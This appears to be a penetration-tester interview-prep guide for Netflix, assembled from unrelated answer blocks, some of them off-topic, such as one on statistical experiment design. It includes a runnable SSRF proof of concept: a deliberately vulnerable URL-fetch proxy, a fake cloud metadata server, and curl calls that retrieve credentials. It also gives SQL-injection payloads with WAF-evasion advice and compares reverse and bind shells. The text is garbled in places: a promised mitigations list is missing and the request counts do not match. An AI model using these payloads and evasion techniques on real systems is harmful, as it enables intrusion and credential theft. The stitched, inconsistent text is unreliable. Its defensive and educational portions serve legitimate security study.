Entry-Level Penetration Tester Interview Preparation Guide for Netflix

Direct answer

Learning enough about statistical experiment design, from scratch, to stop a team from making decisions off underpowered tests (tests that didn't have enough data to reliably catch a real effect, so a "no difference" result might just mean too few samples, not that nothing actually changed) was the hardest thing I've had to pick up: hard not because any one concept was exotic, but because getting it wrong silently produces confident-looking wrong answers, and getting a skeptical group to change how they'd always worked was its own separate problem from understanding the material.

Structured elaboration

Breaking a genuinely hard topic into a learnable path: rather than reading broadly around the subject, I deliberately sequenced it, starting with the underlying statistical fundamentals (what a sample size calculation actually depends on) before touching the specific tooling the team already used, so I wasn't pattern-matching a workflow I didn't understand yet.

Proving understanding rather than familiarity: I built a small benchmark, rerunning several of the team's own past experiment results through a proper power calculation to see how many had actually been underpowered by design. The harder part was separating real findings from noise in that pilot: distinguishing a test that was underpowered by design from one that simply had a weak effect, and checking that an apparent pattern wasn't just seasonality, rather than declaring every non-significant result "underpowered" without checking the effect-size assumption too.

What convinced skeptical stakeholders: I reran one specific, already-decided past case with the corrected method and showed clearly whether the original conclusion would have held or flipped. That moved the conversation from an abstract argument about methodology to one verifiable, concrete example. The resistance I hit was real: some people worried a more rigorous minimum sample size would slow down how fast the team could ship decisions, which was a legitimate cost to weigh, not a straw objection.

How it got embedded so it survived my own attention moving elsewhere: the fix that actually stuck was making the sample-size check a required field in the tool everyone already used to set up an experiment, so it happened automatically, rather than depending on people remembering to run the calculation themselves.

Worked example

The most concrete measure I have is qualitative rather than a single number I could defend precisely: the rate at which tests got read out as "no effect" when they were actually just underpowered visibly dropped in review conversations after the check was baked into the tooling. I never tried to compress that into one statistic, because the underlying decisions were too varied to compare cleanly, and I'd rather say that honestly than make up a number that sounds more rigorous than it is.

Trade-offs and pitfalls

The fix that survives after your own attention moves on is the one baked into the tool or process everyone already uses, not the one that depends on people remembering what you explained once. The common wrong turn in this kind of answer is ending the story at "and then I explained it to the team," since an adoption announcement isn't evidence anyone changed behavior; the credible ending is the one contested case that got re-decided, and the mechanism that made the change durable.

Scope & objectives

• Validate endpoint EDR’s automated rollback/remediation for ransomware-like file encryption without risking production data. Test in a production-like lab that mirrors endpoints, user data structure, and backup/restore policies.

Environment setup

• Isolated VLAN or air-gapped lab with representative OS images, domain-joined endpoints, file shares, and realistic user directories (documents, pictures).
• Populate with synthetic data: randomized files mimicking sizes/types and a labeled “canary” dataset for verification.
• Deploy the same EDR/agent configuration and management policies as production (AV, rollback enabled, quarantine settings).

Safe payload simulation

• Use a non-destructive simulator (example: EICAR-like or open-source ransomware simulators with “safe mode” such as ranSim or Atomic Red Team’s benign file-encryption simulators) configured to:
  • Create copies of a small percentage of files, append a marker extension (e.g., .locked), and write a short header instead of real encryption.
  • Modify only files in a dedicated test directory and the canary set.
• Example behavior: rename file -> write metadata header -> leave original content intact in a “shadow” location so rollback can restore.

Verification steps

• Before test: snapshot endpoints (VM snapshot) and take backups of canary set.
• Trigger simulator; wait for EDR detection/remediation workflow.
• Validate rollback by:
  • Checking EDR console logs for detection, remediation actions, and timestamps.
  • Comparing current files to pre-test snapshots/canary backups (hashes) to confirm restoration.
  • Verifying agent status, quarantine list, and any IOC removals.
• Post-test: attempt controlled re-run to ensure remediation is repeatable.

Monitoring & telemetry

• Enable verbose EDR logging, Sysmon, endpoint audit logs, network capture (SPAN), and SIEM ingestion.
• Collect process creation, file I/O, registry changes, and agent API calls.
• Correlate alerts with timeline to prove automated rollback triggers.

Safety controls

• Limit test scope to dedicated test OUs; whitelist test machines in change control.
• Use synthetic data only; mark canary files clearly.
• Maintain VM snapshots and immutable backups; have rapid rollback playbook.
• Execute during maintenance window with stakeholders and incident response on standby.
• Require dual-approval launch and pre-test dry run (no remediation) to validate detection.

Outcome & reporting

• Produce timeline of detection → remediation → rollback, hash comparisons, screenshots of EDR actions, and recommendations to tighten policies or fix false positives/coverage gaps.

Overview / Approach
I’d start by aligning objectives and constraints so a time-boxed test delivers prioritized, actionable findings within the window.

Test objectives & success criteria

• Define primary goals (e.g., “identify critical exploitable vulnerabilities enabling RCE or data exfiltration”).
• Success criteria: number of validated findings, exploitability proof-of-concept (PoC) limited to non-destructive checks, and risk-ranked report delivered within X days.

Asset inventory

• Provide explicit IP ranges, CIDR blocks, domains, subdomains, application endpoints (API endpoints, ports), and test accounts with roles.
• Include discovery scope rules (whether external reconnaissance allowed).

In-scope / Out-of-scope

• List specific hosts/apps in-scope; explicitly exclude backup systems, production payment processors, or OT/medical devices.

Permitted / Prohibited techniques

• Permit: authenticated scanning, manual testing, safe exploit verification (no destructive payloads).
• Prohibit: DDoS, social engineering, physical intrusion unless explicitly authorized.

Data handling & evidence

• Encryption of evidence, redaction rules, retention period, approved storage, and sharing constraints.

Points of contact & escalation

• Primary technical POC, business POC, and 24/7 escalation chain with phone and escalation SLA for critical findings.

Authorization & legal

• Signed authorization letter, proof of approvals, indemnities, and legal jurisdiction clause.

Scheduling constraints

• Time-box window with exact start/end, blackout windows, maintenance windows, and agreed daily testing hours.

Statement of Work (SOW) should include

• Scope, objectives, success criteria, asset list, timeline, deliverables (executive summary, technical report, remediation retest), rules of engagement, permitted techniques, SLAs, pricing, acceptance criteria, confidentiality, liability limits, and signatures.

This ensures a safe, legal, and effective time-boxed penetration test with clear expectations.

Direct answer

Server-Side Request Forgery (SSRF) happens when an application takes an attacker-influenced value (here, an image URL) and uses it to make an outbound HTTP request from the server itself, so the attacker gets to choose the destination while riding on the server's network identity and trust. The immediate risk is not "the attacker sees your website twice"; it is that the server can usually reach places the attacker cannot reach directly: loopback services, private RFC 1918 ranges, and cloud instance-metadata endpoints that hand out live credentials with no authentication beyond "the request came from the instance." Testing starts with a benign canary (a URL you control) to confirm the fetch is real and server-side, then escalates in small, safe steps toward internal targets, with the metadata endpoint as the highest-value target because it converts a network bug into a stolen credential.

Structured elaboration

How SSRF arises in this shape of feature. Any code path where the server does fetch(user_supplied_url) and the caller only controls the URL (or part of it) is a candidate: image proxies/thumbnailers, "import from URL," webhook or PDF-export URLs, URL preview/unfurling, XML/document parsers that resolve external references (the XXE-flavored cousin of this bug), and server-side rendering of remote content. The common root cause is the same across all of them: the server treats "this is a URL the caller gave me" as equivalent to "this is safe to fetch," when it actually needs to be treated as equivalent to "this is a network destination the caller is choosing on the server's behalf." The image-fetch case in this question is the canonical example, but the vulnerability class and the fix are identical for every one of these features, which matters because a codebase rarely has just one URL-fetching feature.

Testing methodology, in order of blast radius:

1. Confirm server-side fetch, out-of-band. Point the parameter at a URL on infrastructure you control (an interactsh/Burp Collaborator-style listener, or a throwaway HTTP endpoint you own) and confirm you receive a request from the application server's IP, not the browser's. This proves the fetch is real and happens server-side, and it works even if the response body is never reflected back to you (a "blind" SSRF), because the listener itself is the oracle.
2. Probe protocol and scheme handling. Try http://, https://, and non-HTTP schemes the underlying HTTP client library may still honor: file://, gopher://, dict://, ftp://. Many SSRF bugs are worse than they look because the fetching library (not the app's own code) supports schemes the developer never intended to expose.
3. Probe redirect handling. Point the URL at a redirector you control that 302s to an internal address. Some SSRF filters validate the initial URL's host but let the HTTP client follow the redirect unchecked, which defeats a naive allow-list.
4. Enumerate the internal network. Once you have a confirmed server-side fetch primitive, use it (or a small script driving it) to sweep 127.0.0.1, common internal service ports, and RFC 1918 ranges reachable from that host, looking for timing or response differences (open vs. filtered vs. closed): this is the "internal service discovery" step. Cloud IMDS (Instance Metadata Service) addresses are a fixed, well-known target here: 169.254.169.254 on AWS/Azure/DigitalOcean, 169.254.169.254/metadata.google.internal on GCP.
5. Escalate to the metadata endpoint. If the internal sweep or direct knowledge of the platform tells you IMDS is reachable, request the credential path. On AWS IMDSv1 this is GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ to list the attached role, then GET .../security-credentials/<role-name> to retrieve a full temporary key pair (AccessKeyId, SecretAccessKey, Token). This is the step that turns "the server can reach an internal address" into "I now have live cloud credentials."

Proof of concept. Hitting a real cloud metadata service from a test session is destructive and out of scope for most engagements, so the reproducible version of this PoC stands up two local services that mirror the real shape of the bug: a vulnerable fetch-proxy (the code under test) and a stand-in metadata service bound only to 127.0.0.1, shaped exactly like AWS IMDSv1. Anyone can run this locally to see the exact mechanism that would fire against a real target.

# metadata_server.py - stand-in for the cloud instance-metadata service.
# Bound to 127.0.0.1 only; represents the internal-only address the
# attacker cannot reach directly except through the vulnerable server.
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

ROLE_NAME = "app-prod-role"
FAKE_CREDS = {
    "Code": "Success", "Type": "AWS-HMAC",
    "AccessKeyId": "ASIAFAKEDEMOACCESSKEY",
    "SecretAccessKey": "fakeSecretDemoOnlyDoNotUse1234567890",
    "Token": "FAKE-SESSION-TOKEN-FOR-DEMO-PURPOSES-ONLY",
}

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/latest/meta-data/iam/security-credentials/":
            body = (ROLE_NAME + "\n").encode()
        elif self.path == f"/latest/meta-data/iam/security-credentials/{ROLE_NAME}":
            body = json.dumps(FAKE_CREDS).encode()
        else:
            self.send_response(404); self.end_headers(); return
        self.send_response(200); self.end_headers(); self.wfile.write(body)

HTTPServer(("127.0.0.1", 8169), Handler).serve_forever()

# vulnerable_proxy.py - the feature under test: fetches a caller-supplied
# URL server-side and returns the body, with no host allow-list and no
# block on link-local/private ranges. This is the bug.
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import urllib.request

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        qs = parse_qs(urlparse(self.path).query)
        target = qs.get("url", [None])[0]
        with urllib.request.urlopen(target, timeout=3) as resp:
            body = resp.read()
        self.send_response(200); self.end_headers(); self.wfile.write(body)

HTTPServer(("127.0.0.1", 8080), Handler).serve_forever()

With both running locally, the escalation from discovery to credential theft is two curl calls through the vulnerable proxy:

$ curl -s "http://127.0.0.1:8080/fetch-image?url=http://127.0.0.1:8169/latest/meta-data/iam/security-credentials/"
app-prod-role

$ curl -s "http://127.0.0.1:8080/fetch-image?url=http://127.0.0.1:8169/latest/meta-data/iam/security-credentials/app-prod-role"
{"Code": "Success", "Type": "AWS-HMAC", "AccessKeyId": "ASIAFAKEDEMOACCESSKEY", "SecretAccessKey": "fakeSecretDemoOnlyDoNotUse1234567890", "Token": "FAKE-SESSION-TOKEN-FOR-DEMO-PURPOSES-ONLY"}

Both requests were run exactly as shown against the two scripts above; the output is the real, captured output of that run, not a transcription of expected behavior. The first call performs internal service discovery (learning the attached role's name without knowing it in advance); the second escalates that discovery into a full, usable credential set. Against a real target the only thing that changes is the host (169.254.169.254 instead of 127.0.0.1:8169); the request shape and the vulnerability mechanism are identical.

Mitigations, code-level and architectural. These need to be layered, because any single one of them is bypassable on its own:

The absorbed general point worth stating explicitly: none of this is specific to image URLs. Any feature where the server fetches a caller-influenced URL, an "import from URL" field, a webhook target, a document-export URL, a URL-preview generator, hits the identical failure mode and needs the identical allow-list-plus-metadata-hardening treatment. Auditing a codebase for SSRF means grepping for every outbound-fetch call site, not just the one that happened to be reported.

Worked example

The PoC above is the worked example: two local services, three requests, a role name and a full (fake) credential set recovered with no direct network access to the "internal" service, using only the caller-controlled url parameter on the vulnerable proxy. The only thing a real engagement changes is the target host string.

Trade-offs and pitfalls

• Deny-lists over allow-lists. Blocking 169.254.169.254 and the RFC 1918 ranges by string match feels complete and is not: http://0x7f000001/, http://017700000001/, http://2130706433/, and IPv6-mapped forms all resolve to loopback/link-local and slip past naive string checks. Only an allow-list of destination hosts, validated after DNS resolution, is defensible.
• Validating the string but not the connection. A check that runs against the URL text and then hands the same URL to the HTTP client for a separate DNS lookup is vulnerable to DNS rebinding: the check sees a safe IP, the actual connection resolves to a different (internal) one moments later. The fix has to pin the validated IP and connect to that address directly.
• Treating this as "only a cloud problem." Even without a metadata service, SSRF against 127.0.0.1 on an unusual port frequently finds an unauthenticated admin API, a debug endpoint, or an internal service that assumed "only reachable from localhost" meant "only reachable by trusted code": that assumption breaks the moment any code on the box can be tricked into making requests.
• Fixing the reported feature and stopping there. SSRF findings tend to be reported against one endpoint, but the underlying vulnerable pattern (server-side fetch of a caller-supplied URL) is usually duplicated across several features. A senior response treats the finding as a prompt to search the whole codebase for the same call-site pattern, not just to patch the one line that was flagged.

Approach summary
I would add two detection engines: boolean-based (content-difference) and time-based (latency-difference), integrated into the existing mutation/fuzz pipeline and results aggregator.

Payload templates

• Boolean true/false (numeric): 1 AND 1=1; 1 AND 1=2
• Boolean string: ' OR 'a'='a' -- ; ' OR 'a'='b' --
• In-band with control: ?id=5 AND (SELECT CASE WHEN (condition) THEN sleep(0) ELSE sleep(5) END)
• Time-based: '; IF (condition) WAITFOR DELAY '0:0:5'-- (MSSQL), or SLEEP(5) for MySQL/Postgres

Response comparison strategy

• Baseline: for each injection point collect N (3) clean responses for the exact request template.
• For boolean: send true and false payloads; compare normalized bodies and key headers (Content-Length, title, significant DOM elements) using a similarity score (e.g., normalized Levenshtein or token overlap). Flag if true/false diverge beyond threshold.
• For time: measure round-trip times over M (5) attempts per condition and compare distributions to baseline.

Timing thresholds & statistical significance

• Use relative delta: flag candidate if median latency increases by > 3× baseline AND absolute delta > 1.5s.
• Apply nonparametric test (Mann–Whitney U) with alpha = 0.01 to reduce chance of noise.
• Require reproducibility: effect observed in at least 3 of 5 tries.

Retry / backoff behavior

• Exponential backoff for noisy networks: if variance high, increase attempts up to 10 and increase sleep payload time proportionally.
• Randomized jitter between requests to avoid rate-patterns.

Reduce WAF noise & lower false positives

• Use low-profile payloads (case/whitespace variations, comments) and encode selectively (URL/UTF-8) to bypass signatures.
• Rotate innocuous headers, randomize parameter order, and use benign-looking delimiters to blend with normal traffic.
• Start with low-delay probes (2s) and escalate only when signals persist to avoid triggering thresholds.
• Correlate multi-vector evidence (boolean + time + error) before reporting.
• Add confidence scoring and manual review recommendation for medium-confidence findings.

Outcome
This design balances sensitivity with robustness: statistical checks and reproducibility reduce false positives; adaptive retries and low-profile payloads minimize WAF triggering while preserving detection capability.

Direct answer

When a security or compliance team has the authority to block work and uses it, the goal isn't to overpower them, it's to give them a way to say yes that they would defend to their own leadership. That means understanding the actual concern, proposing controls that address it directly, and building a record that makes the eventual approval easy to justify upward, rather than skipping the concern to hit a deadline.

Structured elaboration

1. Understand the veto, not just the outcome

Ask what specifically drives the block: a known threat pattern, a regulatory obligation, a past incident. A block framed as 'this is too risky' usually decomposes into something concrete once you ask what evidence would change their mind.

2. Propose compensating controls, not blanket reassurance

Bring specific mitigations that map to the stated concern: scoped access, monitoring, a rollback plan, data masking, a smaller blast radius. 'Trust me' rarely moves a team whose job is to not just trust people; a control they can point to in an audit does.

3. Phase the ask so risk and trust build together

Instead of asking for full approval up front, propose a smaller, monitored first step, then expand once it holds up. This gives the blocking team evidence rather than a promise, and it gives you a faster initial yes.

4. When you need executives to sponsor it, not just the compliance team to approve it

Sometimes getting to yes isn't about convincing the blocking team at all, it's about persuading senior executives, without formal authority over them, to sponsor a security or compliance investment that trades short-term revenue for long-term risk reduction. That's a different move: build the case in terms an executive already weighs (the cost of the exposure versus the cost and timeline of the fix), find a credible sponsor who already has their ear, and time the ask to a moment they're already thinking about risk, such as a renewal, an audit, or a near-miss. State the trade-off plainly rather than downplaying either the revenue impact or the risk.

5. When the conflict runs the other direction

The pressure isn't always compliance blocking a launch. Sometimes compliance demands collecting more data for audit purposes, and that request conflicts with the team's own privacy commitments to users. Handle this the same way: scope exactly what the audit requirement needs, then look for a way to satisfy it without violating the privacy commitment, such as aggregating instead of storing per-user data, sampling instead of full capture, or purpose-limited access with automatic expiry. If a genuine conflict remains after that, escalate it as a policy conflict for someone empowered to decide between the two obligations, rather than either side unilaterally overriding the other.

Worked example

A security team initially blocks a new integration on a financial product, citing customer-data exposure risk. Working sessions with security and the app owner map the specific risk to two things: a broad data scope and no kill switch. The team proposes scoped test accounts, data masking, and a remote kill switch, then agrees to a phased rollout: verify the low-risk paths first, escalate to the higher-risk ones only after the first phase holds up under monitoring. Security signs off on the phased plan. Separately, when the same team later wants to expand data collection to satisfy a new audit requirement, they find that a sampled, time-limited collection window satisfies the auditors just as well as full, indefinite collection, so the privacy commitment to users doesn't have to give.

Trade-offs and pitfalls

• Working around a block quietly (shipping a smaller version without telling the blocking team) buys short-term speed and damages the relationship you will need next time; always close the loop even when you find a narrower path.
• Compensating controls that never get revisited become permanent scaffolding; agree upfront on when the phased approach graduates to full trust, not just how it starts.
• On the upward-influence path, leading with fear rather than a clear trade-off tends to get budget approved once and then quietly deprioritized later, because the executive never actually weighed the cost against the risk. Naming the trade-off explicitly is what makes the commitment durable.
• Overriding a genuine policy conflict (audit needs versus privacy commitments) unilaterally, instead of escalating it, tends to resurface as a bigger trust problem with users or regulators later than the original block would have cost in time.

Incident Notification — Critical Vulnerability / Active Attack (Pentest Team)

• Notification sent: [Date, Time, Timezone] — Sent by: [Pentest Team Lead, name, title]

• Who to notify (suggested recipients):

  • CISO / Security Ops Lead
  • IT Ops / Network Engineer
  • Application Owner / Product Manager
  • Incident Response / SOC
  • Legal / Compliance (if required)

• One-line summary (urgent):

  • Confirmed critical vulnerability / active exploitation affecting [system/service] — immediate attention required.

• Factual details (must include):

  • Affected asset(s): [hostname, IP, service, environment (prod/test)]
  • Vulnerability/attack type: [e.g., unauthenticated RCE, SQLi, credential compromise, active data exfiltration]
  • CVE / vulnerability reference (if known): [CVE-YYYY-NNNN] or internal ID
  • Discovery time and observed indicators: [timestamps, logs, PoC summary]
  • Exploitation evidence: [screenshots, console output, exfil file hashes, network captures — attached]
  • Scope & impact: [data types at risk, user count, business impact]
  • Current status: [ongoing attack, contained, mitigated, under observation]

• Immediate remediation / containment (actionable, prioritized):

  1. Isolate affected host(s) from network segment or disable service (include exact commands/procedures if approved).
  2. Apply temporary mitigation: [WAF rule, block IPs, disable vulnerable endpoint, revoke tokens/sessions].
  3. Patch or roll-back to safe version (if patch available) — if not, apply configuration change to remove exploit vector.
  4. Rotate credentials, API keys, and secrets with risk scope.
  5. Preserve forensic evidence: do not reboot; collect memory, logs, pcap; secure copies to [location].
  6. Pause automated deployments/CI to affected environment.

• Required confirmation from client:

  • Which containment steps you authorize now
  • Contact for on-site/remote remediation team
  • Any legal/third-party notification requirements

• Attachments provided: [PoC, logs, screenshots, pcap, hashes, recommended patch links]

• Next steps & timeline:

  • Immediate acknowledgement requested within: [e.g., 30 minutes]
  • Containment actions to be taken by: [time]
  • Follow-up call scheduled: [proposed time / ASAP]

• Pentest Team contact (24/7):

  • Name: [Lead], Role: Pentest Team Lead
  • Phone: [+country code number] (call/SMS)
  • Secure chat: [e.g., Signal/Slack channel]
  • Email: [secure email]
  • Forensics lead: [name, contact]

Please acknowledge receipt and authorized containment actions immediately.

SAST (Static Application Security Testing)

• SDLC: Early — during development/PR review and build.
• Finds best: Code-level issues — SQLi/unsafe deserialization, hardcoded secrets, insecure cryptography, taint flows.
• Major limitation: False positives and limited runtime/context (can’t see config, runtime auth).
• CI/CD integration: Run as a pre-merge pipeline job (e.g., GitHub Actions step using a SAST scanner like Semgrep/Checkmarx) that fails build on high-severity findings.

DAST (Dynamic Application Security Testing)

• SDLC: Later — staging/QA or post-deploy testing.
• Finds best: Runtime issues — auth bypass, XSS, CSRF, server misconfig, auth logic flaws.
• Major limitation: No source visibility; may miss logic bugs requiring privileged context and slower to enumerate deep flows.
• CI/CD integration: Nightly or post-deploy pipeline job against staging URL using OWASP ZAP/Burp automated scan; block promotion if critical endpoints vulnerable.

IAST (Interactive Application Security Testing)

• SDLC: Integration/staging — runs with instrumented app during functional tests.
• Finds best: Combines static + dynamic — precise dataflow issues, runtime injection points with lower false positives.
• Major limitation: Requires instrumentation/agents and representative test coverage to be effective.
• CI/CD integration: Enable IAST agent during integration test stage (e.g., run DAST-style tests with Contrast or Seeker agent attached to test containers).

SCA (Software Composition Analysis)

• SDLC: Early and continuous — on dependency install and build.
• Finds best: Vulnerable OSS/libraries, license issues, known CVEs in dependencies.
• Major limitation: Limited to known CVEs; can't detect custom code flaws or zero-days.
• CI/CD integration: Dependency scan step (e.g., Snyk/Dependabot/VulnCheck) in build pipeline that blocks merges or raises MR alerts for vulnerable packages.

From a penetration tester perspective: use these together — SCA + SAST early, IAST during tests for accuracy, and DAST/interactive pen-test on staging and prod to validate exploitability.

Brief definitions

• Reverse shell: compromised host initiates an outbound connection to attacker listener; shell traffic runs over that session.
• Bind shell: compromised host opens/listens on a port and attacker connects in to issue commands.

How firewalls/NAT/egress filtering affect them

• Reverse shell: more likely to succeed across NAT/firewalls because most environments allow outbound TCP/UDP (HTTP/HTTPS). Egress filtering or strict proxying can block it or force use of allowed ports/protocols (e.g., 443 over TLS).
• Bind shell: blocked by host/network ingress restrictions, NAT without port forwarding makes direct inbound connections impossible; requires open ports or pivoting.

When to prefer each

• Reverse shell preferred: internal networks, machines behind NAT/firewalls, Windows endpoints with strict inbound rules — use when outbound is allowed. Example: using staged payload contacting attacker on 443/HTTPS.
• Bind shell practical: when you have direct network access (e.g., same LAN segment, cloud instance with public IP and misconfigured security group) and you want simpler setup without client-initiated callbacks.

Hardening & defensive signals

• Hardening: egress filtering, proxy enforcement, host-based firewall blocking unusual outbound ports, application allowlisting, and endpoint detection/response (EDR) rules.
• Detection signals: sudden outbound connections to rare IPs/ports, long-lived encrypted sessions from client to unfamiliar hosts, creation of listening processes on uncommon ports, new services, suspicious parent/child process chains (cmd/python spawning network sockets), abnormal netstat/tcpdump artifacts, IDS/IPS alerts for reverse-shell-like patterns.

I led assessments where reverse shells via HTTPS callbacks bypassed perimeter NAT; after remediation, egress proxying and EDR process lineage stopped those callbacks.

Direct answer

I'd structure the three months as a small number of month-scale milestones, each with concrete evidence I'm actually on track, and I'd bias the early weeks toward habits, how I verify information, who actually knows what, how work really gets reviewed, over a rigid task list, since those habits compound and a task list rarely survives contact with how things actually work.

Structured elaboration

• Month one is about orientation habits, not output. I focus on the meta-skills that determine how fast the whole ramp goes: how to verify what I'm told here, who actually has the answers versus who's just available, and how work really gets reviewed and shipped. I also pick one small but real piece of work, not a throwaway exercise, small enough to be safe but real enough to teach me the actual constraints, and finish it.
• Month two expands scope with less hand-holding, and I deliberately pick a task that stretches a specific gap month one exposed, rather than repeating something month one already proved I could do.
• Month three takes something closer to end-to-end with minimal supervision, and functions as the real check on whether the earlier ramp actually took, not just whether I felt more comfortable.
• Track progress against visible evidence each month, not a feeling. A shipped piece of real work, a question I can now answer without help, a review I no longer need: these are checkable in a way "I feel more settled" isn't.
• Keep running notes on what I'm learning as I go, mainly for myself: writing it down forces me to notice what I actually understand versus what I only think I understand, and it happens to save me from re-deriving the same answer a second time later.
• Hold the longer arc in view. The point of a genuinely good first-ninety-days plan isn't just fitting into the new team, it's building toward what I'll be trusted with next, so I pick milestones that show growth, not just that I've reached the floor of the new role.

Worked example

Moving from a general security role into an application-security specialty I hadn't worked in directly before, I spent the first two weeks less on formal training material and more on habits: sitting in on a few real code reviews to see how security issues actually got raised and resolved here, and figuring out which two colleagues actually knew the history behind our trickiest existing systems. My first real piece of work was reviewing one moderate-risk change end to end, small enough that a mistake was recoverable, but real enough to teach me the team's actual review norms rather than the documented ones. By month two, I took on a task that specifically stretched a gap month one had exposed: I hadn't yet had to reason about a vulnerability class that came up more often here than in my old role, so I deliberately picked a task involving that. By month three, I led a review independently that would have needed a second pair of eyes back in month one, and used that as the actual evidence the ramp had worked, not just a feeling of familiarity. I kept a short running document of what I was learning throughout, which turned out useful a few months later when a similar issue came up and I could look back at my own notes instead of re-figuring it out from scratch.

Trade-offs and pitfalls

A plan that's all reading and passive orientation with no real work in the loop tends to feel productive without actually testing anything. The opposite mistake, front-loading too much scope before the meta-skills like who to ask and how review works are in place, tends to produce avoidable mistakes early that damage trust. And judging yourself only by how comfortable you feel, rather than by concrete evidence like a piece of finished work or a question you can now answer alone, is an easy way to think you're on track when you're not.